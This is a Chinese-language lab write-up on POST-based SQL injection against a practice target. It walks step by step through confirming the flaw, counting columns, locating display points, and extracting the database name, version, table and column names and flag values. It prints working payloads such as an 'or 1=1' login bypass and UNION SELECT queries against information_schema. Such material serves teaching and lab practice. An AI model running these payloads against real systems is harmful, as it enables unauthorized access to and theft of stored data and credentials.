POST注入(一)

POST(一)

注入环境:http://inject2.lab.aqlab.cn:81/Pass-05/index.php
攻击流程:
    1;判断是否存在sql注入漏洞。
    2;判断网页存在字段数。
    3;判断回显点。
    4;获取信息。
  测试开始:
    测试目标获取管理员账号密码

GET/POST

区别:
GET传参的数据有限,比较少
POST传参的数据可以比较大

可以达到很多效果 —— 文件上传

GET传参会经过URL编码
POST不会URL编码,比如注释符号:#的URL编码是 %23 ,但是POST并不会解析这个URL编码

POST注入—前后端使用post方法,在“框”中传递参数。表象如下图:

select * from user where username=‘a’ or 1=1 #
表示查询a的字段,由于表里面没有,就会报错,但是后面跟的是或,就算前面不对,后面的1=1 成立了,一样表示对。

1;判断是否存在sql注入漏洞。数据的数据能发现交互,说明存在注入POST注入(一)

2;判断网页存在字段数。

这里我们1,2,3都判断了,一直判断到4的时候报错,那么就说明这里的字段有3段
POST注入(一)
POST注入(一)

3;判断回显点。

这里判回显点的时候,我们要把 or 1=1 去掉,不然数据库会以为 1=1 正确,然后直接执行,而忽略后面的联合查询
POST注入(一)

4;获取信息。

4;获取信息。
a’ union select 1,database(),version()#
获取当前正在使用的数据库
和数据库版本
POST注入(一)
获取当前数据库表名
a’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
注释:information_schema group_concat() table_name table_schema
不懂的请看显错注入(一)显错注入(一)
POST注入(一)
获取表的字段名(flag表)
a’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’ #
注释:information_schema group_concat() table_name table_schema column_name
不懂的请看显错注入(一)显错注入(一)
POST注入(一)

获取字段值

a’ union select 1,group_concat(Id),group_concat(flag) from flag #
POST注入(一)
获取成功!!!!